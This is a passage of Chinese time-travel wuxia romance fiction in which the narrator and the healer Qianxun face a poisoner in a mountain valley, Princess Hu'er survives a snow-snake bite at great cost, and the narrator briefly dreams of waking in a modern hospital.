在场的所有人,都为她的话吃惊。。。。。。 44、她和她的关心 “真的吗?”我问,定睛的看着芊寻,她的眼睛清澈如洗,“我们能做些什么?” 芊寻笑笑,转身对大家说,“你们回去准备好一些雄黄装在袋子里随身带着,其他的就是好好休息,明天会在山里奔波一天,需要养精蓄锐,各位请回吧!”突然她语气转变了,“至于这位姑娘,还是好好休息,不要再让我们分心了”她话语刺透的方向正是依门而立完颜晴。 完颜晴似笑非笑的应对着,转身回房了。气氛突然因她的离开由紧张转为尴尬再到沉默。比黑夜还深的沉默。 “太好了,终于要结束这一切了”瑚儿拍手笑道,“我们要全力以赴,拯救万民。冷岩冷语我们走,还有布袋大师,我们去准备些上山的东西。”看着瑚儿离去的背影,我想她已忘记了我们的一切,是无忧无虑的,她想做的看来只是让所有的关系和谐些。 终于又将我和芊寻留在庭院中,不知怎么的,我竟然不敢靠近她,该从何说起。“月儿,你先去睡吧。”她把无尽的温柔都留给了我,和我的一切,我不知道,我究竟在别扭些什么,但是当我看到她在清冷的夜里,不断地检验黑衣人的尸体,我心里明白她所做的一切都是为我,“我还要仔细研究下他的中毒情况,然后才能确定明天的比试事宜。”见我没有动,芊寻解释道,浅浅的笑着,可是搬动这么重的东西,已经让她有些疲惫了。 “我陪你,”我终于走过去,但她却拉着我的手走到一间药房里,“月儿乖呦,先武装上,”说着,她取出一些雄黄粉放进一个荷包里,走向我,拉起我的衣服,将荷包缝在里面。她仿佛要将所有期盼着我平安的心,都倾尽在这一针一线上。这样的她不禁让人痴醉,沦陷在无限柔情里。“慈母手中线,”我逗着芊寻。 “月儿在说我老啊”芊寻佯装生气,“不管你喽”,说着她坐直身子,撅起了嘴,脸转向别处。 “哪里哪里,我再说你温柔,慈悲”我用手轻轻的夹着她的脸,让她看向我。 “慈悲?恐怕是分人呀!我太情绪化了,”芊寻叹了口气,“我跟她就是不对付。”我猜到她说的是谁!这也是我不敢问清的疑惑,芊寻对完颜晴几乎是冷酷到了极限。 “可能人和人要讲缘分吧”芊寻继续为我缝补,“我对她,有种与生俱来的排斥。可能是我总觉得她,再利用我对你的感情”因为我?,利用?我突然像个做错事的孩子,不敢在说话,只会静静的看着芊寻的缝补。 “好了,”芊寻俯下身轻轻的咬断线,然后起身回到那一面由药箱组成的墙前。“明天到底该去哪里,你先和我说说吧”我跟到她旁边问。 “他给我出了个谜题,答案就在那个人的身上中的毒。”芊寻一边说着,一边拉开不同的箱子,在里面取出些草药,“解药分别是:龟板、谷精草、龙骨、鹰不泊、贯众”芊寻继而解释道,“龟在四大神兽中称玄武,镇守北方;至于谷精草,我查过地方志,北部有座山谷叫曹静谷;龙骨为龙之颈,所以可以断为辰时正点;鹰不泊属阴性的药材,山北;贯众,意为我们必须全员出席” “好厉害,芊寻”我听着她专业的推理,呆了。 “其实,只是药理的游戏罢了,有很多种组合,但是我推断应该是这样。”芊寻,将药材装在一个小包里,然后拉着我“准备好了,咱们去休息吧。” “可是芊寻,对方是黄家人,而且他又是个心狠手辣的角,”我突然想起诚爷爷的话,不禁对躺在身边的芊寻说道。 “此话怎讲?”芊寻轻轻的问,但是没有离开我的怀抱。“我可不知道什么黄家呀,若说道用毒,天下不过是二分而已” “唐门和苗疆吗?”我随着感觉说,记得以往电视剧中的情节。但是居然得到了芊寻的肯定。 “其实我们孙家也长于用毒,但大多数时是为了以毒攻毒,总之是救人的;不过毒在他们手里就是一种武器了。”芊寻说着声音渐渐低了,她比所有人都疲惫,我知道的。明天的挑战会怎样呢? 当清晨第一束阳光刺醒我时,芊寻已经在出门了。我急忙冲出去,见大家在芊寻的指挥准备,总算松了口气,我担心芊寻故意丢下我,不让我去冒险。 “倪飞,过来一下,”旁边屋子的完颜晴也醒来了,轻轻的将门打开一个小缝唤我进去,为了不让大家听到她叫我的名字,我想也不想就溜进去了。“怎么了”我焦急的问,因为快要到了出发的时间了。 “给你”说着她给了我一个白色布包,打开一看,是棵人参。已经长成了人型,身上须密密麻麻。“我家乡山上的,可以救命。听说你们要去的山上毒蛇猛兽很多,你带着防身吧”。 我本来要拒绝,但是她却应将它塞进我怀里,“哎呀,别像女人似的,救人也得先保护好自己呀。快走吧”说着她将我往外送。没料到我的衣服刮在了床头,一着急起身,竟被刮破了。只听呲的一声,但是由于时间很赶,我并没有在意。 一路策马狂奔,终于如期而至,曹静谷幽深僻静,甚至烟雾缭绕。说他是仙境,却又有着丝丝诡异的气息,似在驱逐着人间的一切。 “恭迎大驾”一个高傲的男声从树丛后传来,随即现身紫衣的男人,正是那位“黄毒人”。他向我微微的笑着,算是打招呼。但是的目光终于一动不动的锁定在了芊寻的身上,“想必你就是解毒的人了。果然。”他由衷的笑起来。 随即他身后出现了四个人,个个长得像变种人,面色黑青。“他们都是用毒高手,而这山谷是天下行医之人的天堂呀”黄毒人张开双臂深深的呼吸着有些稀薄的空气。 “的确如此,这里应该有不少奇花异草,毒蛇猛兽,是入药、制毒的良方。”芊寻望向对方身后的密林,转而看看山顶,目光停留之际。“黄毒人”打断道,“你也留意到了吗?那山顶有罕有的药材。坦白的说,我此次制的蛊毒,正是取材于这座山中。天下能解它的恐怕只有山巅的那些花、虫、草了。”毒人说着露出了得意的表情,“不过这里危险异常,我们也未曾登顶;今天就比比看谁先得到它们。如果你赢了,就可以制出解药;但如果我先得到,就会永远毁了它,而且让瘟疫横行天下,哈哈哈哈,你敢和我赌吗?” “既然那巅峰是所有医家的梦想,我自然不会放弃。开始吧”芊寻没有看他。 “且慢,山中有太阳鸟,我们最好两人一组前进,”黄毒人说道,随即微笑“而我要和你一起。” 芊寻果断答应了,“芊寻”我希望阻止她。 “好呀,你们谁敢和我同行,如果是这位姑娘的话,我们可以互相提防彼此。至于其他人,我可不敢保证会不会被我的毒物所伤”。 “月儿放心,我绝不会有事,我们还有很多日子要过呢?”芊寻轻轻的拉起我的手,见等的说,随后驱马前行,“冷岩冷语你们一组,宋姑娘和月儿一起。”说完她已经和黄毒人并行消失在了蒙蒙的山气之中。另外四个毒人,也两两消失。冷岩冷语固然担心,但念及芊寻此前已为大家做了周详的准备,所以遵从了她的安排。 瑚儿和我渐渐地迷失在了阴幽的高林之间,她拿着一本《地方志》和我前行,一会是“哦,原来太阳鸟有三足,专门袭击三人以上的队伍,难怪了”,一会又是,“还有种雪蛇,喜欢袭击女人呢?幸好带了雄黄粉”就这样我们一边艰难的前行,一边惊叹,周围的诡异一切生物。我第一次看到了,两条尾巴的松鼠、长着两只脚的蛇说这是两脚的壁虎、比我还大的蝴蝶停留在吐露着撩人香气的长着牙的花上。我是到了纳美星了是吗,这都是些什么乱七八糟的。而且若不是这些生物各有不同,我真的以为一直在一片树林里打转。 突然,我闻到了一阵似曾相识的香味-----曼珠沙华。它的香气可以让人想起过去,可是我对它似乎有了点抵抗力,或者说,我已经没有什么前尘往事可以在被回忆了。 “曹大哥,我的头有点昏,”正想着,瑚儿突然喃喃的叫住我,“好多画面涌进我的头里,好疼,好”我回头看见瑚儿抱着头,踉跄的走来,一定是这花香让她想起了什么。我拉着她离开,用我最大的力量,不顾那些生物的阻碍,踢飞了两只松鼠,一只足球那么大的蜗牛。跑了很久很久,直到气喘嘘嘘再也跑不动了才停下来。 瑚儿瘫倒在地上,而我则靠着一棵树尽力恢复呼吸的节奏。 “我好像看见了你,曹大哥,我们经历的一些事,我怎么会忘记了呢,”瑚儿在休息一会后说,“这些都是真的吗?” “都只是幻觉”我突然想起了天如意,她的良苦用心。 这些最好不被她记起。 但是我没有更近一步解释的机会了,因为突然不知从哪里袭来一阵风,和原本闷闷的山风很不一样,伴随而来的是草中传出的莎莎声。我和瑚儿都意识到有什么东西在快速向我们移动,转眼就到了面前,是一条猩红色的蛇,正吐着黑色的信子,闪亮的蓝色眼睛一动不动的盯着我们,似乎我们是它垂涎已久的午餐。 我下意识的摸着衣服,想让里面的荷包带给我安全感。但是,它根本不在那里。我仔细回想,原来早上离开完颜晴房间时,刚好被刮坏了衣服,它一定是掉落了。 那么身为女人的我,相当于赤裸裸的等着雪蛇的袭击。 额头已有冷汗渗出,我知道不能跑,那会激起它攻击我的本能。“曹大哥,怎么了,我们不是有雄黄吗,不用担心它”瑚儿在我身后说,慢慢的取出了自己的药袋。 “好的,咱们慢慢走,”可是蛇姐可没这么冷静,直接奔我来了,张开尖牙向我飞来。“扑”的一下,一团白色的粉末将它掩住,“看你支支吾吾的,我就猜你没有雄黄护体,”瑚儿挡在我跟前,将自己的袋子扯破攘向了雪蛇。 得救了!得救了? 雄黄的雾气还没有散去,却又一张更加狰狞且苍白的脸,正呲着獠牙飞来。原来,刚刚的不过是雪蛇的尾巴,它居然有两个头,一摸一样的头。一个诱敌,一个攻击。唯一不同的是尾头的眼睛是蓝色的,而它真正有攻击性的头是和冰雪一样白的。可惜,我之所以能看得如此清晰,正是因为,它已经咬住了瑚儿的右颈,那双苍白的眼正看着我。。。。。 45、庄周梦蝶 “畜生”这是我能承受的骂人的极限。但身体比我的脑子反应要快的多,话刚出口,手就已经将那冰冰黏黏的长虫丢到树上。只听得树叶被震得沙沙响,那蛇居然碎裂了,唯有一部分深深的嵌在了树干之中。 我的臂力怎么变得这么大?蛇的鳞片韧度很强,几乎不可能被外力弄断。可是我没时间迟疑,因为,随着那毒物的剥离,瑚儿毫无意识的倒在了我的怀里。接住她的一瞬间,一阵寒流刺进我的身体,她像是一块冰。慢慢的将她放平后,她的微微的呼吸着,居然吐出了白色的哈气。而且她那白皙的脸此刻变得毫无颜色,苍白如绢。头发竟也很快变成了银色,“怎么会这样”,用手一触摸才发觉,原来那是结上了冰霜。 她颤抖的越来越厉害,她身体周围的草也被冻住了,微微一碰就破碎零落。 我必须把毒吸出来,当我深深的吸着她的伤口时,除了一阵阵寒气意外,没有一滴血被我吸出。寒气越来越重,瑚儿紧紧的咬着牙,我知道那是非常难受的,可是她依然尽力不想表现出来。。。。。。 我不停地用手搓着她的身体,希望能给她哪怕一点点温暖。突然,我想起了完颜晴送的那颗千年人参,正是至暖之物。还有雄黄粉,也许能缓解一下毒性。 我将散落在地上的白色粉末用手一点一点的扫起来,然后将人参嚼在嘴里,直至有汁析出,在将手里的雄黄含住,吻上了瑚儿那惨白却依然如粉白色珍珠一样的唇上。我要将那些药物送到她的口中,可是她的牙咬的太紧了,我不禁轻轻地用手支撑起她,再用舌自然地打开了她紧闭的唇齿,她的舌居然也开始探过来,吮吸着我口中的药物。突然她咬破了我的舌,努力的吸着我流出的血,我忍着疼,张开了眼睛。我们四目相对,可是她似乎没有瞳了,竟只有一双白色眼球。如那蛇的眼一般。。。 我定睛看着她,也许是我的血的流入,让她的眼中渐渐显现出了瞳孔的存在,那双清澈如水的眼睛,再一次凝视着我。 “对不起,曹大哥”她轻轻的推开了我,声音非常小的说“我差点就变成了魔鬼” “不会,”我断言说。可是我看到她的脸色还有头发的颜色都没有缓解,依然是冰雪一样白。唯有右颈上的伤口,开始有白色的血渗出。 白色!我的心比我的身体还要凉,芊寻跟我说过,世间最毒的毒,不是黑色,而是白色,正是那种瑚儿伤口流出的如同乳浆一样的白色液体。这种液体是闻都会中剧毒的,可是我不能让她在瑚儿体内,这些折磨都是她替我承受的,我不能把她一个人丢在痛苦里。 我将剩下的人参须一口吐下,感觉到一阵热流从腹部往全身涌。 俯下身将嘴敷在瑚儿的脖颈上。吸吮着,冰凉的白色毒液,吐掉,再吸。反复着这样的动作,直到瑚儿的伤口开始流出暗黑色的血。也许是她的血太冰冷了,我的嘴已经没有知觉了,麻麻的,让我几乎感觉不到脸的存在。 我的头也开始疼起来,视线变得模模糊糊的。一瞬间,我好像看到了,瑚儿的离去。不,当我突然想到了她会死时,我心几乎疼得无法呼吸,我害怕她死去。我在宋朝的这段日子里,一直陪伴着我的,只有瑚儿,这个任性,善良的女孩,为了我可以牺牲自己的贞洁甚至是性命的小公主,也许我们只能是朋友、知己,或者可能只是一场错位的戏。可是我的生活里已经不可以没有这个小家伙。 我,不能失去你,赵瑚儿,我的洛神。。。。。。 如此近的距离,我们呼吸着彼此的气息,这让我我可以清晰的闻到她发间,脸庞的香气,而我竟不知不觉间在她的耳朵和玉颈间流连忘返,竟缓缓的用嘴唇摩挲着她的耳际。。。。。。 我是怎么了,身体像是火烧一样,我怎么贪恋起瑚儿的身体,那么冰凉、清新。我的手不由自主的轻轻的扶着她的脸,她正是我需要的,而她也需要索取我身上的温暖。我们紧紧的拥着彼此。 “谦月,我想起了很多事,”瑚儿呢喃的说着,“我们现在都中毒了!”瑚儿看向我。 “没事的,我们中的都不是世间的剧毒,只要芊寻她们找到这,就可以救咱们两个。”我似乎在回答问题,可是我已经记不得,这些事是否真的发生过。 “不管过多久,我心里的结也解不开,也许”瑚儿的泪突然倾流而下,“来世,我可以不只是你的朋友。我们如果一起死的话,就不会、、、就不会”瑚儿说着,但是声音渐渐低了,“相见恨晚”也许不是她的声音低了,也许是我的意识也在消失。 我心里听得明白她的话,可是没有能力回答。 你想要的是天下我双的爱吗,可是我不会是了! 我不知道在黑暗里飘荡了多久,四周竟没有哪怕一点点光亮为我指引方向。可是一阵阵规则的声音却越来越清晰,“滴-滴-滴”,听着如此舒服。 终于能够张开眼,我的头一样是晕晕的。但是,我所看的一切,让眩晕感更重了。洁白的墙壁,阳光透过窗帘,罩在我的白色的被单上,暖暖的。顺顺那“滴滴”声的来源,我转向旁边,是在显示我的心跳波动的机器。“恩?”怎么是这样,这里不是病房吗? “你终于醒了,小飞”我只顾惊奇完全没有注意到床边坐着的人。 “你,沈宁”我几乎是想坐起来惊呼的,但是我发现我连微微移动的力量都没有。头好疼呀!我想用手揉揉,但是却摸到了纱布。 “别乱动呀,小飞”沈宁忙拉回我的手,“你刚动完手术”她说着,为我倒了杯水。“医生说你右颅骨骨折,但手术很成功,所以应该没有什么后遗症。” “哦!”我应了一声,也许麻药劲还没有过吧,我反应有点迟钝,或者,我在想些别的事情。 沈宁,是我从幼儿园就认识的同学青梅。如果她生病的话,照顾她的恐怕也只有我了。我们,是完全可以信任彼此的朋友。 可是明明还有一份记忆萦绕在我的心头,正是那遥远的时空的经历。。。 “我昏迷了多久?”我急切的问,难道我所做的只是一个梦? “两天,是正常的” 我怎么感觉是好久好久呢!难道真的只是我的南柯一梦! 可是,为什么不让我做完这场梦呢?瑚儿,完颜晴,芊寻,你们都怎么样了?我还放不下。。。。。。 电话响起,沈宁出去接了…… 我用手遮住眼睛,想让自己睡去,再一次回到梦中,但是我感到我的手掌心有不同的触感,抬起一看,居然是一道贯穿掌心的疤痕。这里曾是芊寻为我谦月留下的愧疚的印记。不对,我是倪飞,我不曾有过这样的伤痕。那么,这里究竟是? 头再一次疼起来,好难受,我想要按紧急求助按钮,可是身体却动不了。我越是着急,越是只有汗水流下而已。我在消失,我感知不到自己的存在。这样的感觉很像死亡。 唯一带给我留恋的,就是不知何时抚着我眉头的手,轻柔的,细腻的。这样的感觉很熟悉。在我再一次完全陷入黑暗之前,耳边传来了同样温柔熟悉的话语,“月儿!快点醒过来!月儿,我在等你,我是芊寻//我是瑚儿!”似乎是重叠在一起,她们在呼唤着我。 我的梦,还没有结束。。。。。。 “月儿,求求你,醒过来吧”一滴泪水落在我的脸上,好温暖。 我回来了,我第一眼看到的,是坐在床边流泪的,紧紧握着我的手的,雪千寻。 “你醒了,月儿”芊寻扑在我怀里,泣不成声。我一边用手,抚着她的颤抖的后背。一边安慰她,“我回来了。我回来了” 我,究竟是谁,“庄生晓梦迷蝴蝶,望帝春心托杜鹃”庄周的迷惑,也萦绕着我,到底是谦月一梦变成了倪飞,还是倪飞梦中幻化了谦月呢究竟哪里才是真实的。 也许是因为我放不下她们,老天才会让我的梦继续吧! 我放不下的,太多了! “瑚儿,瑚儿她怎么样了”我突然问。“得救了吗?” 可是,我得到的却是芊寻深深的沉默。。。。。。 46、千年冰人 “你想让她活吗?”芊寻幽然的说出了这句话。我愣住了,“当然,我。。。。。。” 从我醒来开始就一直一直不断地追问着芊寻瑚儿的情况,但是芊寻始终是欲言又止的模样。直到我不管身体的虚弱往外冲,芊寻才扶着我走向了一个房间,一路上她只是轻轻的问着,“你真的要她醒过来吗?”听似自言自语。 “无论如何,我都不想她死”我像是在发誓。 可是为什么周围的空气越来越冷,在这样的季节怎么会有胡天八月的霜雪呢?门缝里散着悠悠的寒气。走进屋内,仿佛进入了冰室一般,而这寒冷的源头,正是蜷缩在床上的瑚儿。 “瑚儿,”我快步奔到她的身边,手触及她的瞬间感到了彻骨的寒。只见她一动也不动,脸被冰霜所附,华发之上也浸染霜华。“怎么会这样?”我问着芊寻,心里已经慌乱至极。 原来,咬伤我们的雪蛇身体内含有两种极端的毒素,一种至热另一种则至寒。我因为曾经服用过还心草加之练过纯阳的伊帝神功,所以体质偏阳稍加调养便可化解那至热之毒。至于至寒之毒则被瑚儿吸了过去,她只是普通女孩子,阴性之身,如今被极阴之毒所侵,就会被困于冰封之中。 “你的医术高明。。。”我本以为只要芊寻在,什么毒都可以解。但是当我看到芊寻回避了我的眼睛时,我知道事情不再简单。“你一定有办法的”我激动地拉着芊寻的手,我不能接受这一切,我再一次回到这里,不是为了与你们任何人生离死别。。。。。。 “月儿,你的身体尚未恢复,不要这样,”芊寻俯下身,抱着我,轻轻地拍着我的背,“现在想要彻底医好她已经不可能了,除非。。”芊寻犹豫的说着,似是安慰我,“只是这代价太大了!”只要能救她,什么灵丹妙药,我都会去求。我发誓。。。。。 只要芊寻说能救,我悬着的心就已经放下大半了。随即,芊寻搀扶着我来到了另一个房间,一进门就看到那位黄毒人。他半倚在床上悠悠闲闲的躺着。没有系好的衬衣,显示着结实的胸肌,头发随意的散在身后,配上他的蓝眼睛很有一副欧洲王子范。他怎么会在这里,那日之后到底发生了什么?我心中的焦虑被疑惑分走了一点。 “你来了!!”很温柔的声音,透着遮掩不住的喜悦。如果声音图文是可见的,他对芊寻说话时一定是带着波浪线的。臭小子你荡漾个头呀!看到他看着芊寻的眼神,我心里有种难以言说的感觉,难道是我“曹谦月”在吃醋吗? “来向你求样东西,”芊寻淡淡的说着。 “我的命都是你救得,你要什么我都给你!就算是我的命,我也甘之如饴!”似是告白般的深情款款的回答。坦白的说我想揍他了。可是我好奇,芊寻到底要做什么,这个人与瑚儿的解药又有何关系呢? “我救得人太多了,不必挂怀。你的命我要了也没用,”芊寻自然的说着,“只是希望用你的金龙蛇,救一条人命!” “金儿?。。。。好!”这一次他的回答很迟疑,只见他缓缓的拉开右手的衣袖,在他的手腕处有个金灿灿的手镯。仿佛是下了很大的决心,他才取下了那个镯子放在掌心。接下来,见证奇迹的时刻!那个手镯突然自己动了起来,仔细一看,原来是一条通体黄金的小蛇,赤红色的眼睛此刻正不安的盯着mr.黄。黄毒人不舍的抚摸着它的头,轻声细语地说着,“我们要分开了,对不起!”说完便将金蛇交到芊寻手上。“多谢!”芊寻的语气缓和,但是中规中矩。 “哟,你也在这啊!病好了?”好欠抽的话,黄毒人到现在才意识到我在芊寻身边。“也对,有她在,谁都会得救的!”这句话,确是真的。 “当然,”我认真的说。 “月儿,我们走吧!”芊寻似乎感觉到了我们之间的不友好,便扶着我离开了。是的,我们要去救瑚儿。 芊寻小心翼翼的取出了金龙蛇的胆,放在一个药斗里,然后开始在药柜间穿梭,不断地将各种草药加入碗中。繁复异常的炼药过程已经持续了三个时辰,汗水浸湿了芊寻的发丝,从脸颊滴下。我能做的只是在她旁边陪伴她,为她拭去汗水。 “小心,”芊寻险些跌倒,幸好被我抱住。芊寻用手扶了下额头,稍稍闭目吸了一口气,便继续着手里的工序。“辛苦你了。。”我有些哽咽的拥抱着芊寻微微颤抖的身体,我知道她已经很累了。我昏迷了多久,她就熬了多久。加上前些日子为了解瘟疫之毒的劳心伤神。如今依然是为了我,她已经是拼上性命的在制药救人。这时的芊寻憔悴到了极点,我真的好心疼,泪止不住滑落。 芊寻轻轻地靠在我的怀里,手里的工序依旧没有停下。“你睡了那么久,有没有梦到我?”芊寻为了宽慰我而打趣的说着。 “我有!”我有梦到你,芊寻!我也有听到你们的呼唤。正是因为你们,就算我到了天涯海角,也一定会回来!我贴近芊寻的侧脸,轻轻地、静静的感受着她的温暖。 “那个人那样对我,月儿可有一点点吃醋?”芊寻的语气难得的活泼,让我的心情轻松下来。黄~毒~人!一想到他对芊寻那毫不遮掩的爱慕举动,心里就好堵的慌。 “没有!”我斩钉截铁的说,“没有一点,是狠狠的吃了一大缸呢?”我像是一个孩子抱着心爱的玩具一般环紧了怀里的芊寻。 “哦~”芊寻淡淡的应了一声,可是遮掩不住的喜悦还是洋溢了出来。 见到这样爱我又可爱的芊寻,我的心里快乐而自责。我一直一直在抗拒着作为谦月去回应她的爱,可是我的心却舍不得她远离。我是不是太自私了。。。。。。 药还要好久才能制好,为了纾解我的思绪,我发挥了打破砂锅问到底的精神,追问着那天的事。 那日,我们分开行动之后。芊寻和黄毒人还有毒人军团很快就到了山顶,在山顶岩洞里发现了颗好像燃烧着火一样的红花,竟是稀世灵药——九转殊途。正在芊寻思索着如何全身而退时,周围的人开始疯狂的哀嚎,他们饲养的毒物竟然反噬着主人。一切都太突然,眨眼间,岩洞中便只剩下芊寻和痛苦挣扎的黄毒人,他在弥留中喊着:“娘,孩儿不孝。。。。。不能完成您的心愿。”一条小金蛇尽力驱赶着爬满他身体的蝎子。芊寻见他已无抵抗之力,想他对解除瘟疫必有大用,便冒险施针为他保住性命。 芊寻回想着说,事后翻阅地方志才知,山中有种名为孽的花,人闻到它的香味就会想起过往种种恶行,会把自己当成被自己杀过的人进攻。所以杀人越多,死得就越快越惨。 “那么说来,他也许还不是大奸大恶之人”后来的事实证明了我的判断。只不过我没有想到,他会那般痴心。。。。。。 药,在暮色中散着隐隐的热气。我和芊寻小心翼翼的向瑚儿房间赶去,沿途路过祈福堂,听到冷语的祷告。熟悉医理的她早已无计可施,只有和哥哥跪在这里祈求佛祖的庇佑。 “求菩萨保佑小姐能逢凶化吉,信女愿折寿三十年。如果小姐有事,我们必跟随她于地下!”冷语在佛前起誓。冷岩则静静的跪在旁边,手里握着剑,似乎准备着为了某些突如其来的噩耗而行动。 如果寿命当真可以转移,那么我也愿意换得瑚儿健康醒来。 祈祷是人们最纯美的愿望,却也是最无奈的选择。但是无论如何,我们都在用自己的方式,尽最大的努力想要将瑚儿从天的手里抢回来。 再一次来到这个冰冷彻骨的房间,寒气在夜里似乎更加逼人。正当我满怀希望的要推开房门时,芊寻的话语让我的心再一次跌入谷底。 “月儿,你真的要救她吗?”又是这个问题,为什么,芊寻你耗尽心力的制出了解药,为什么还要露出这样疑惑的表情。你的不确定让我很害怕。 “我想啊!我当然想,芊寻你怎么了?”我拉着芊寻颤抖的双手,跟着颤抖起来,瑚儿到底会怎么样?难道救了她还不好吗? “如果她将来会生不如死呢?你还要救醒她吗?”芊寻端着药的手紧紧地握着,悲悯之情已经无法抑制,“一直以来,我也把她当做妹妹看啊!可是如果她将承担一生的痛苦,我们真的该救她吗?” 一生痛苦! 芊寻有些哽咽的告诉我瑚儿醒来后会变成什么样子。这碗药根本不能将她的寒毒清除,只能将毒汇聚在她的子宫内,这种极阴之毒会蚕食她的脏腑。她以后的每一次月事都会伴随寒毒反复,痛不欲生;更有甚者她不能尽妻子之责,更不可能生儿育女。她将失去一个女人一辈子应有的快乐。。。。。。 我的脑子随着芊寻的话越来越空白,我甚至不知道自己是怎么推开门,怎么进入房间。等我回过神时,看着瑚儿依然蜷缩在床上。轻轻抚摸着她的额头,她就好像睡着了一般。安静、恬美。 我真的该叫醒她吗? 无论让瑚儿死还是受苦,我也许都会后悔终生。我该怎么选,瑚儿又希望我怎么选? 如果躺在这里的人是我就好了。。。。。。 “倪飞,你忘了你曾经说过的话了吗?”完颜晴冰冷的质问,刺透寒夜而来。却动摇了我的绝望。。。。。。 47、明天的路 “芊寻”我轻轻呼唤着。。。。。。 她已经睡着,连日的劳心伤神让她才一躺下就沉沉的睡着了。 “好啦~冷语你就别再唠叨了,我才刚刚醒过来,又要被你啰嗦晕了。”瑚儿的一边将喝完粥的碗递给冷语一边无奈的求着,因为她那句谢天谢地已经单曲循环了好久。聊了一会,瑚儿就说困了,大家也都不忍心打扰她休息,纷纷离开。 房间里只剩下我们两人,“吃饱喝足,好好睡觉吧!”我扶着瑚儿躺下,轻轻地为她掩好被子,正准备离开却被她拉住手。“谦月,能陪我躺一会吗?”望着她脸色红润如初,我和大家一样开心,可是想到瑚儿未来会面临什么,我又很担忧。我该怎么和她说呢? “你身上好暖,”瑚儿轻轻地抱着我,她的身体有些冰冷,不再有曾经的温热。 “瑚儿,”对不起,如果那天我也带了雄黄粉,就不会害的你这样。 我颤抖的抱紧瑚儿,我不知道该怎么做才能让一切回到过去。 “我都知道的哦!”瑚儿淡淡的笑着,“我身上的寒毒未清,我以后会怎么样,我都知道。这几天我虽然不能动,可是你们的话我都听得真真切切!”举重若轻的语气,瑚儿温柔平静的诉说着,仿佛是在呓语。 “怪我吗?”我哽咽的问着,会怪我的决定,甚至是我的存在吗,“如果没有遇到过我,你会快乐平安的过一辈子。。。。。。” “如果能重来,我还是会这么做!”瑚儿的额头轻轻地贴到我的脸侧,湿润的泪水也随之而来,“但如果说我一点都不在乎,那一定是在逞强胡闹吧!”她咬着自己的嘴唇,不哭出声音,身体明明颤抖的那么厉害,却悄无声息。此刻的眼泪,是瑚儿长大的证明,她以一个女人的心情在宣泄着自己的痛苦。 我,只能给她些许温暖,陪着她流泪。。。。。。 “你一定要陪我找到那个人!一个能像你爱芊寻一样,爱我的人!”瑚儿哽咽的说着这句话,声音很轻很轻。 怀中的瑚儿纤弱轻盈,可是我和她的未来好重。担负着,让我觉得呼吸都是沉重的!可我知道我必须这么做,这也是我唯一能偿还瑚儿的。。。。。 “咚~咚~咚”一阵突如其来的锣鼓声。。。。。。 我惊坐起来,瑚儿却已经不在身边。她会去哪里,不会做傻事吧!急忙打开门,却发现院子里一个人也没有!我检查了几个房间,没人。正当我打算出去找的时候,却在完颜晴的房门口被拉了进去。 “你好像很紧张,放松点吧!”完颜晴将我按到座位上,便从后面环住了我,冰冷的手轻轻地揉着我的太阳穴,“我最懂得如何让男人放松了!” “我还要去找人,别闹了。”我起身欲行,担心瑚儿的安危,让我没有在意完颜晴此刻又展现了新的一面,我所不知的妩媚一面。多年以后,她才告诉我这一面是她最虚伪的、也是最不开心的。可是现在的我又怎会得知呢? “不用担心,她们都出去玩了!”收回了手,坐在我的对面,她为自己到了杯水。面色肃然。 去玩了? 今天就是中秋赛马大会了!一直以来被萧丞相的‘篡国大业’伤害的百姓,终于可以好好的过节了。瘟疫没有了,居然闹得比往年更加热闹!一大早,瑚儿就拉着冷岩冷语师傅芊寻去观战了,见我难得睡熟就只好丢下我了!omg,心大的众人呀!不过,听说瑚儿一大早起来心情非常好,那也许她去热闹点的地方也好吧?!她们结伴而行可以彼此照应,暂时可以放心。输了一口气,我也拿过杯子倒了一杯水,看着对面肃然的完颜晴,不禁想起了昨晚的一幕。若是没有她,我或许会自以为是的失去瑚儿。 “‘我希望她活着,只要还能在一起,无论怎么样都可以。’这是你曾说过的!”完颜晴走入房中,“如果你是爱她的男人,你会因为她不能与你有肌肤之亲而疏远她,会因为不能为你生儿育女就抛弃她吗?” 我不会,如果我是她的爱人,我不会放弃她。 “这世间有多少女人,纵然儿孙满堂却从来不知何为快乐。就算不能替她承受痛苦,你会不会一生陪伴她爱护她,让她拥有别人也不曾有的福气!?!”她字字铿锵,步步紧逼,来到我的面前,虽然依然闭着的双眼遮掩了她的锋芒,却盖不住她的气场。“你会,她将来的爱人也会,你觉得她不会得到一个真心真意疼惜她的人吗?你以什么身份剥夺她未来被爱的资格呢?” 我跌坐在床边,为完颜晴不似往常却不可反驳的话语所震撼。我不是瑚儿的爱人,不能就这样替她做一辈子的决定,如果有一天那个她爱的又挚爱她的人出现了,我又到哪里去找瑚儿赔她幸福的一生呢? “昨天。。。。。。”不管怎么说,我该谢谢她的出现,骂醒了我。 “我也是女人,我明白她会选什么!再者说,这个世上若是没了她,对我而言便少了一份挑战!没意思!”完颜晴说这段话时很慵懒,漫不经心的语气让我不知如何再接下去。 “芊寻说过,你的眼睛什么时候能恢复吗?”看着完颜晴依然紧闭的双眼,我不免关心起来。 “再有十天半月吧!”她一手扶额,头轻轻地仰起来,仿佛一只高傲的波斯猫,此刻已经进入‘想睡就睡一天,不理任何人’的模式,完全不鸟我了。“这么快就中秋了!”自言自语的说着,洋溢着些许惆怅,这是我第一次看到她如此安静。屋子里的气氛变得轻松散漫起来,我看着眼前的这个女孩,心中不禁想到,我们虽然认识时间不长,却也一起经历了好多,我见过她高傲的样子,无助的样子,温柔的样子,严肃的样子。。。。。。这个骨子里带着神秘又有着女人味的女孩,此刻又在想着什么呢? “姨娘,刚刚那个比赛太精彩了!”瑚儿!院内突然变得热闹起来,听起来,不止是大家都回来了,还有新客人到来。和完颜晴道了别,我便去找他们了。刚刚来到瑚儿的房门口,就听到里面熟悉却久违的快乐笑声。瑚儿的笑让人着迷,有着温暖人心的魔力。我真的希望一辈子都听到她的笑,也希望笑着的她一生都是无忧无虑的。 “姨娘,爹爹没有陪您一起了吗?”瑚儿自然的问着。 “本来都出了京城,结果听说惠妃动了胎气,他就回去了!”一丝落寞洋溢在话语间。瑚儿忙着劝慰。 “算了,就算没有惠妃,还是有很多人要她陪!我早就想开了,不说我了!瑚儿,你也是大姑娘了,红鸾星动了没?”温婉的问话,似乎是个年轻的长辈。 “姨娘你就别拿瑚儿说笑了,”瑚儿撒娇的说着。“我自有打算!” “哦~!难道。。。。” “谦月大哥,你醒啦!”瑚儿见我呆在门口便拉我进去。“这位是我的姨娘,姨娘,这是我的朋友曹晟!” 只见一位大约三十岁左右,美丽端庄的女子站起来向我微微作揖。“李师师,见过曹公子。”温柔的话语配上她出尘的气质,真真是极美的! 